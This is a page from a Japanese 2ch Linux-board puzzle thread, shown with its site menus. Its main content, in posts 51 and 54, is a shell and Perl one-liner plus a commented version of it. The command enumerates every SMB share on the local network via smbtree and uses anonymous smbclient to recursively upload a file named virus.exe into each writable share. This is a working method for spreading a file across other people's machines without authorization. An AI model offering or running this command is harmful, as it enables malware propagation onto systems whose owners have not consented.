【上達】私に課題を与えてください 問題集1巻目
at LINUX
[
2ch
|
▼Menu
]
■コピペモード
□
スレを通常表示
□
オプションモード
□このスレッドのURL
■項目テキスト
50:login:Penguin 09/08/26 10:34:19 tozyo/AI これは巧妙に仕組まれた単発質問スレだ。 51:login:Penguin 09/08/26 17:43:31 p7NCW5nO >>46 -bがないと同じワークグループ内しか探してくれなかった。 $ smbtree -b -Uguest%|perl -nle 'if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}' 52:login:Penguin 09/08/26 21:30:18 mferTyOH 次スレ 【緊縛】私に罰を与えてください 問題集2縄目 53:login:Penguin 09/08/26 22:25:40 qwJ2/jyu >>51 小さくまとまっていて、ほどく(=理解)のがたいへん。 54:login:Penguin 09/08/26 23:03:13 p7NCW5nO >>53 じゃあ Perl の部分だけインデントします。 while (<>) { # "\\マシン名\\フォルダ名"を抜き出す if (/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/) { $h = $1; $h =~ tr{\\}{/}; system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\""); } }
次ページ
最新レス表示
スレッドの検索
類似スレ一覧
話題のニュース
おまかせリスト
▼オプションを表示
レスジャンプ
mixiチェック!
Twitterに投稿
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch
5372日前に更新/17 KB
担当:undef